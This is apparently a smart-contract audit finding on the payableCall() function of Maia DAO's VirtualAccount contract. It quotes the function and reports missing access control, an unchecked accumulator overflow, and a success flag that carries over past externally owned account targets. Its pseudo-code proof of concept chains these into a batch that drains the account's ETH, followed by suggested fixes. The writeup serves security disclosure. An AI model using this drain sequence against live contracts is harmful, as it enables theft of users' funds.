Maia DAO - Ulysses - peritoflores's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L86-L112

Vulnerability details

Impact

Loss of funds

Analysis of the vulnerability

There are three vulnerabilities in the payableCall() function that enable attackers to steal user funds.

/// @inheritdoc IVirtualAccount
 function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
    uint256 valAccumulator;
    uint256 length = calls.length;
    returnData = new bytes[](length);
    PayableCall calldata _call;
    for (uint256 i = 0; i < length;) {
        _call = calls[i];
        uint256 val = _call.value;
        // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
        // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
        unchecked {
            valAccumulator += val;
        }
        bool success;
        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
        if (!success) revert CallFailed();
        unchecked {
            ++i;
        }
    }

    // Finally, make sure the msg.value = SUM(call[0...i].value)
    if (msg.value != valAccumulator) revert CallFailed();
}

​ First vulnerability. The payableCall is unprotected

function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {

​ This vulnerability enables calling external contracts on behalf of Virtual Account.

This can be use to steal ERC20 tokens for example.

Second vulnerability An overflow can be exploited .

The _call.value are sent as a parameter, so it is possible to overflow this.

uint256 val = _call.value;
    // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
    // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
    unchecked {
        valAccumulator += val;
    }

Third vulnerability EOA are ignored in the batch call and the succeed depends on the previous call.

If you send an EOA in the first call, the transaction will revert, but in the second call, it will succeed.

 bool success;
    if (isContract(_call.target)) (success, returnData[i]) =     _call.target.call{value: val}(_call.callData);        if (!success) revert CallFailed();

Proof of Concept

The attacker will construct the following malicious batch call

uint balanceToSteal =  address(VirtualAccount).balance;  // We will steal all the ETH
address attackerContract = '0x...'

//This call is just to set the succeed variable to TRUE for the next call
PayableCall p1 =  new PayableCall(attackerContract,"", 0)      

// This call is just ignored but helps to overflow
PayableCall p2 = new PayableCall(anyEOA,bytes(0),MAX_UINT-balanceToSteal+1)   

// Here we drain the contract
PayableCall p3 = new   PayableCall(attackerContract,"",balanceToSteal)   /// This call 

PayableCalls[] attack = [p1,p2,p3];

The attacker will call `payableCall(attack)` without any ether.

The transaction will succeed

Recommended

​ You need to fix this

1. Add a modifier requiresApprovedCaller() to protect payableCall()

2. Set succeed to false if the call is an EOA

 if (isContract(call.target)) 

      (success, returnData[i]) =     _call.target.call{value: val}(call.callData);  
 else
 	success = false;

Assessed type

Access Control